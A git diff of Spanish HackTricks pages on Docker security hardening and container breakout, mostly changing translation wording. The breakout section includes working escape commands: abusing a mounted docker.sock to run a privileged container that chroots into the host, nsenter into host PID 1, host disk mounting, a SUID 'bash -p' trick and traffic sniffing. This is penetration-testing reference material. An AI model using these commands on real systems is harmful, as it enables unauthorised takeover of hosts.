* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## **Seguridad Básica del Motor de Docker**
|
||||
|
||||
El **motor de Docker** utiliza los **Namespaces** y **Cgroups** del kernel de Linux para aislar contenedores, ofreciendo una capa básica de seguridad. La protección adicional se logra mediante la **reducción de capacidades**, **Seccomp** y **SELinux/AppArmor**, mejorando el aislamiento de los contenedores. Un **plugin de autenticación** puede restringir aún más las acciones de los usuarios.
|
||||
El **motor de Docker** emplea los **Namespaces** y **Cgroups** del kernel de Linux para aislar contenedores, ofreciendo una capa básica de seguridad. La protección adicional se logra mediante la **reducción de capacidades**, **Seccomp**, y **SELinux/AppArmor**, mejorando el aislamiento de los contenedores. Un **plugin de autenticación** puede restringir aún más las acciones de los usuarios.
|
||||
|
||||
![Seguridad de Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
|
@ -95,7 +95,7 @@ La firma de imágenes de Docker garantiza la seguridad e integridad de las imág
|
|||
- **Docker Content Trust** utiliza el proyecto Notary, basado en The Update Framework (TUF), para gestionar la firma de imágenes. Para obtener más información, consulta [Notary](https://github.com/docker/notary) y [TUF](https://theupdateframework.github.io).
|
||||
- Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada de forma predeterminada en Docker versión 1.10 y posteriores.
|
||||
- Con esta función habilitada, solo se pueden descargar imágenes firmadas. La carga inicial de la imagen requiere establecer frases de paso para las claves raíz y de etiquetado, con Docker también admitiendo Yubikey para una seguridad mejorada. Puedes encontrar más detalles [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error "No trust data for latest".
|
||||
- Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error de "No hay datos de confianza para la última versión".
|
||||
- Para las cargas de imágenes posteriores a la primera, Docker solicita la frase de paso de la clave del repositorio para firmar la imagen.
|
||||
|
||||
Para hacer una copia de seguridad de tus claves privadas, utiliza el comando:
|
||||
|
@ -106,28 +106,28 @@ Cuando se cambia de hosts de Docker, es necesario mover las claves de root y del
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir fácilmente y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir fácilmente y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Funciones de Seguridad de Contenedores
|
||||
## Características de Seguridad de Contenedores
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Resumen de las Funciones de Seguridad de Contenedores</summary>
|
||||
<summary>Resumen de las Características de Seguridad de Contenedores</summary>
|
||||
|
||||
#### Funciones Principales de Aislamiento de Procesos
|
||||
**Principales Características de Aislamiento de Procesos**
|
||||
|
||||
En entornos contenerizados, aislar proyectos y sus procesos es fundamental para la seguridad y la gestión de recursos. Aquí tienes una explicación simplificada de conceptos clave:
|
||||
|
||||
**Espacios de Nombres (Namespaces)**
|
||||
|
||||
* **Propósito**: Asegurar el aislamiento de recursos como procesos, red y sistemas de archivos. Especialmente en Docker, los espacios de nombres mantienen separados los procesos de un contenedor del host y de otros contenedores.
|
||||
* **Uso de `unshare`**: El comando `unshare` (o la llamada al sistema subyacente) se utiliza para crear nuevos espacios de nombres, proporcionando una capa adicional de aislamiento. Sin embargo, mientras Kubernetes no bloquea esto de forma inherente, Docker sí lo hace.
|
||||
* **Uso de `unshare`**: El comando `unshare` (o la llamada al sistema subyacente) se utiliza para crear nuevos espacios de nombres, proporcionando una capa adicional de aislamiento. Sin embargo, mientras Kubernetes no bloquea esto inherentemente, Docker sí lo hace.
|
||||
* **Limitación**: Crear nuevos espacios de nombres no permite que un proceso vuelva a los espacios de nombres predeterminados del host. Para penetrar en los espacios de nombres del host, normalmente se requeriría acceso al directorio `/proc` del host, utilizando `nsenter` para ingresar.
|
||||
|
||||
**Grupos de Control (CGroups)**
|
||||
|
@ -173,7 +173,7 @@ Docker hace uso de los siguientes Namespaces del kernel de Linux para lograr el
|
|||
* espacio de nombres ipc
|
||||
* espacio de nombres UTS
|
||||
|
||||
Para **más información sobre los namespaces** consulta la siguiente página:
|
||||
Para **más información sobre los espacios de nombres** consulta la siguiente página:
|
||||
|
||||
{% content-ref url="namespaces/" %}
|
||||
[namespaces](namespaces/)
|
||||
|
@ -218,7 +218,7 @@ Esta es una característica de seguridad que permite a Docker **limitar las sysc
|
|||
|
||||
### AppArmor en Docker
|
||||
|
||||
**AppArmor** es una mejora del kernel para confinar **contenedores** a un **conjunto limitado** de **recursos** con **perfiles por programa**.:
|
||||
**AppArmor** es una mejora del kernel para confinar **contenedores** a un **conjunto limitado de recursos** con **perfiles por programa**.:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -227,7 +227,7 @@ Esta es una característica de seguridad que permite a Docker **limitar las sysc
|
|||
### SELinux en Docker
|
||||
|
||||
* **Sistema de Etiquetado**: SELinux asigna una etiqueta única a cada proceso y objeto del sistema de archivos.
|
||||
* **Aplicación de Políticas**: Aplica políticas de seguridad que definen qué acciones puede realizar una etiqueta de proceso en otras etiquetas dentro del sistema.
|
||||
* **Aplicación de Políticas**: Hace cumplir políticas de seguridad que definen qué acciones puede realizar una etiqueta de proceso en otras etiquetas dentro del sistema.
|
||||
* **Etiquetas de Procesos de Contenedores**: Cuando los motores de contenedores inician procesos de contenedores, generalmente se les asigna una etiqueta SELinux confinada, comúnmente `container_t`.
|
||||
* **Etiquetado de Archivos dentro de los Contenedores**: Los archivos dentro del contenedor suelen estar etiquetados como `container_file_t`.
|
||||
* **Reglas de Política**: La política de SELinux garantiza principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`.
|
||||
|
@ -240,7 +240,7 @@ Este mecanismo garantiza que incluso si un proceso dentro de un contenedor se ve
|
|||
|
||||
### AuthZ & AuthN
|
||||
|
||||
En Docker, un complemento de autorización juega un papel crucial en la seguridad al decidir si permitir o bloquear las solicitudes al demonio de Docker. Esta decisión se toma examinando dos contextos clave:
|
||||
En Docker, un complemento de autorización desempeña un papel crucial en la seguridad al decidir si permitir o bloquear las solicitudes al demonio de Docker. Esta decisión se toma examinando dos contextos clave:
|
||||
|
||||
* **Contexto de Autenticación**: Incluye información completa sobre el usuario, como quiénes son y cómo se han autenticado.
|
||||
* **Contexto de Comando**: Comprende todos los datos pertinentes relacionados con la solicitud que se está realizando.
|
||||
|
@ -253,7 +253,7 @@ Estos contextos ayudan a garantizar que solo se procesen solicitudes legítimas
|
|||
|
||||
## DoS desde un contenedor
|
||||
|
||||
Si no estás limitando adecuadamente los recursos que un contenedor puede utilizar, un contenedor comprometido podría hacer un DoS en el host donde se está ejecutando.
|
||||
Si no estás limitando adecuadamente los recursos que un contenedor puede utilizar, un contenedor comprometido podría realizar un ataque de denegación de servicio (DoS) en el host donde se está ejecutando.
|
||||
|
||||
* DoS de CPU
|
||||
```bash
|
||||
|
@ -339,7 +339,7 @@ file: ./my_secret_file.txt
|
|||
```
|
||||
Esta configuración permite el uso de secretos al iniciar servicios con Docker Compose.
|
||||
|
||||
En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pueden gestionar aún más con herramientas como [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Los Controles de Acceso Basados en Roles (RBAC) de Kubernetes mejoran la seguridad en la gestión de secretos, similar a Docker Enterprise.
|
||||
En entornos de Kubernetes, los secretos son compatibles de forma nativa y pueden ser gestionados con herramientas como [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Los Controles de Acceso Basados en Roles (RBAC) de Kubernetes mejoran la seguridad en la gestión de secretos, similar a Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
|
@ -356,19 +356,19 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
|
|||
### Consejos Resumidos
|
||||
|
||||
* **No utilices la bandera `--privileged` ni montes un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite generar contenedores, por lo que es una forma sencilla de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
|
||||
* No ejecutes como root dentro del contenedor. Utiliza un [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) y [**espacios de nombres de usuario**](https://docs.docker.com/engine/security/userns-remap/). El root en el contenedor es el mismo que en el host a menos que se remapee con espacios de nombres de usuario. Está solo ligeramente restringido por, principalmente, espacios de nombres de Linux, capacidades y cgroups.
|
||||
* [**Elimina todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilita solo las necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque.
|
||||
* [**Utiliza la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
|
||||
* [**Limita los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
|
||||
* **Ajusta los perfiles de** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** para restringir las acciones y llamadas al sistema disponibles para el contenedor al mínimo requerido.
|
||||
* **Utiliza** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official_images/) **y exige firmas** o construye las tuyas basadas en ellas. No heredes ni uses imágenes [con puertas traseras](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También guarda las claves raíz, frases de paso en un lugar seguro. Docker tiene planes para gestionar claves con UCP.
|
||||
* No ejecutes como root dentro del contenedor. Utiliza un [usuario diferente](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) y [espacios de nombres de usuario](https://docs.docker.com/engine/security/userns-remap/). El root en el contenedor es el mismo que en el host a menos que se remapee con espacios de nombres de usuario. Está solo ligeramente restringido por, principalmente, espacios de nombres de Linux, capacidades y cgroups.
|
||||
* [Elimina todas las capacidades](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) y habilita solo las necesarias (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque.
|
||||
* [Utiliza la opción de seguridad "no-new-privileges"](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
|
||||
* [Limita los recursos disponibles para el contenedor](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
|
||||
* Ajusta los perfiles de [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (o SELinux) para restringir las acciones y llamadas al sistema disponibles para el contenedor al mínimo requerido.
|
||||
* Utiliza [imágenes oficiales de Docker](https://docs.docker.com/docker-hub/official_images/) y exige firmas o construye las tuyas basadas en ellas. No heredes ni uses imágenes [con puertas traseras](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Almacena también claves raíz, frases de contraseña en un lugar seguro. Docker tiene planes para gestionar claves con UCP.
|
||||
* **Reconstruye regularmente** tus imágenes para **aplicar parches de seguridad al host e imágenes**.
|
||||
* Gestiona tus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
|
||||
* Si **expones el demonio de Docker, utiliza HTTPS** con autenticación de cliente y servidor.
|
||||
* Si **expones el daemon de Docker, utiliza HTTPS** con autenticación de cliente y servidor.
|
||||
* En tu Dockerfile, **prefiere COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos desde URL. COPY no tiene estas capacidades. Siempre que sea posible, evita usar ADD para no ser susceptible a ataques a través de URL remotas y archivos Zip.
|
||||
* Ten **contenedores separados para cada microservicio**.
|
||||
* **No incluyas ssh** dentro del contenedor, "docker exec" se puede usar para ssh al contenedor.
|
||||
* Utiliza **imágenes de contenedor más pequeñas**
|
||||
* Utiliza **imágenes de contenedores más pequeñas**.
|
||||
|
||||
## Fuga de Docker / Escalada de Privilegios
|
||||
|
||||
|
@ -388,7 +388,7 @@ Si tienes acceso al socket de Docker o tienes acceso a un usuario en el **grupo
|
|||
|
||||
## Reforzando Docker
|
||||
|
||||
* La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de prácticas recomendadas comunes para implementar contenedores de Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
* La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de prácticas recomendadas comunes sobre la implementación de contenedores Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Debes ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Descubre **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Referencias
|
||||
|
@ -407,7 +407,7 @@ Debes ejecutar la herramienta desde el host que ejecuta Docker o desde un conten
|
|||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -420,7 +420,7 @@ Accede hoy mismo:
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -26,20 +26,20 @@ Obtén acceso hoy:
|
|||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): También puede **enumerar contenedores**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta herramienta es bastante **útil para enumerar el contenedor en el que te encuentras e intentar escapar automáticamente**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Herramienta útil para obtener los privilegios que tiene el contenedor y encontrar formas de escapar de él
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Herramienta útil para obtener los privilegios que tiene el contenedor para encontrar formas de escapar de él
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Herramienta para enumerar y escapar de contenedores
|
||||
* [**grype**](https://github.com/anchore/grype): Obtiene los CVE contenidos en el software instalado en la imagen
|
||||
|
||||
## Escape del Socket de Docker Montado
|
||||
|
||||
Si de alguna manera descubres que el **socket de Docker está montado** dentro del contenedor de Docker, podrás escapar de él.\
|
||||
Esto suele ocurrir en contenedores de Docker que, por alguna razón, necesitan conectarse al daemon de Docker para realizar acciones.
|
||||
Si de alguna manera descubres que el **socket de docker está montado** dentro del contenedor de Docker, podrás escapar de él.\
|
||||
Esto suele ocurrir en contenedores de Docker que por alguna razón necesitan conectarse al daemon de Docker para realizar acciones.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
En este caso, puedes usar comandos de docker regulares para comunicarte con el demonio de docker:
|
||||
En este caso, puedes usar comandos regulares de docker para comunicarte con el demonio de docker:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -54,7 +54,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él usando el comando **`docker`** con el parámetro **`-H unix:///ruta/al/docker.sock`**
|
||||
En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él utilizando el comando **`docker`** con el parámetro **`-H unix:///ruta/al/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
El daemon de Docker también podría estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el daemon de Docker puede ocurrir a través del socket de Systemd `fd://`.
|
||||
|
@ -72,9 +72,9 @@ Además, presta atención a los sockets de tiempo de ejecución de otros tiempos
|
|||
|
||||
## Escape de Abuso de Capacidades
|
||||
|
||||
Deberías verificar las capacidades del contenedor, si tiene alguna de las siguientes, podrías escapar de él: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Deberías verificar las capacidades del contenedor, si tiene alguna de las siguientes, podrías ser capaz de escapar de él: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Puedes verificar las capacidades actuales del contenedor usando **las herramientas automáticas mencionadas anteriormente** o:
|
||||
Puedes verificar las capacidades actuales del contenedor utilizando **las herramientas automáticas mencionadas anteriormente** o:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
|
@ -86,7 +86,7 @@ En la siguiente página puedes **aprender más sobre las capacidades de Linux**
|
|||
|
||||
## Escapar de Contenedores con Privilegios
|
||||
|
||||
Un contenedor con privilegios puede crearse con la bandera `--privileged` o deshabilitando defensas específicas:
|
||||
Un contenedor con privilegios se puede crear con la bandera `--privileged` o deshabilitando defensas específicas:
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -104,9 +104,9 @@ La bandera `--privileged` disminuye significativamente la seguridad del contened
|
|||
[docker-privileged.md](../docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Privileged + hostPID
|
||||
### Privilegiado + hostPID
|
||||
|
||||
Con estos permisos, simplemente puedes **moverte al espacio de nombres de un proceso en ejecución en el host como root** como init (pid:1) ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
Con estos permisos, simplemente puedes **moverte al espacio de nombres de un proceso en ejecución en el host como root** como init (pid:1) simplemente ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Pruébalo en un contenedor ejecutando:
|
||||
```bash
|
||||
|
@ -122,7 +122,7 @@ docker run --rm -it --privileged ubuntu bash
|
|||
```
|
||||
#### Montaje de Disco - Poc1
|
||||
|
||||
Los contenedores de Docker bien configurados no permitirán comandos como **fdisk -l**. Sin embargo, en un contenedor de Docker mal configurado donde se especifique la bandera `--privileged` o `--device=/dev/sda1` con privilegios, es posible obtener los privilegios para ver la unidad del host.
|
||||
Los contenedores de Docker bien configurados no permitirán comandos como **fdisk -l**. Sin embargo, en un contenedor de Docker mal configurado donde se especifique la bandera `--privileged` o `--device=/dev/sda1` con capacidades, es posible obtener los privilegios para ver la unidad del host.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -336,7 +336,7 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Escapar de los Privilegios Abusando de Montajes Sensibles
|
||||
#### Escapar de Privilegios Abusando de Montajes Sensibles
|
||||
|
||||
Existen varios archivos que podrían estar montados y que proporcionan **información sobre el host subyacente**. Algunos de ellos incluso pueden indicar **algo que debe ser ejecutado por el host cuando ocurre algo** (lo que permitiría a un atacante escapar del contenedor).\
|
||||
El abuso de estos archivos puede permitir que:
|
||||
|
@ -372,8 +372,8 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### Escalada de privilegios con 2 shells
|
||||
|
||||
Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **elevar privilegios dentro del host** si tienes la capacidad MKNOD dentro del contenedor (por defecto) como se [**explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Con dicha capacidad, el usuario root dentro del contenedor tiene permiso para **crear archivos de dispositivos de bloques**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda proporciona acceso para **leer los datos crudos en el disco del sistema**.
|
||||
Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambos shells para **elevar privilegios dentro del host** si tienes la capacidad MKNOD dentro del contenedor (por defecto) como se [**explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Con dicha capacidad, al usuario root dentro del contenedor se le permite **crear archivos de dispositivos de bloques**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda da acceso para **leer los datos crudos en el disco del sistema**.
|
||||
|
||||
Docker se protege contra el uso indebido de dispositivos de bloques dentro de los contenedores haciendo cumplir una política de cgroups que **bloquea las operaciones de lectura/escritura de dispositivos de bloques**. Sin embargo, si se **crea un dispositivo de bloque dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del directorio **/proc/PID/root/**. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor.
|
||||
|
||||
|
@ -450,13 +450,13 @@ Si de alguna manera tienes **acceso privilegiado sobre un proceso fuera del cont
|
|||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
Si un contenedor se configuró con el controlador de red del host de Docker (`--network=host`), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host) y el contenedor no recibe su propia dirección IP asignada. En otras palabras, **el contenedor enlaza todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
|
||||
Si un contenedor está configurado con el controlador de red del host de Docker (`--network=host`), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host) y el contenedor no recibe su propia dirección IP asignada. En otras palabras, **el contenedor enlaza todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
|
||||
|
||||
Por ejemplo, puedes usar esto para **espiar e incluso falsificar el tráfico** entre el host y la instancia de metadatos.
|
||||
|
||||
Como en los siguientes ejemplos:
|
||||
|
||||
* [Artículo: Cómo contactar a Google SRE: Colocando una shell en Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Artículo: Cómo contactar a Google SRE: Insertando una shell en Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [El servicio de metadatos MITM permite la escalada de privilegios de root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
También podrás acceder a **servicios de red enlazados a localhost** dentro del host o incluso acceder a los **permisos de metadatos del nodo** (que podrían ser diferentes a los que un contenedor puede acceder).
|
||||
|
@ -482,10 +482,10 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
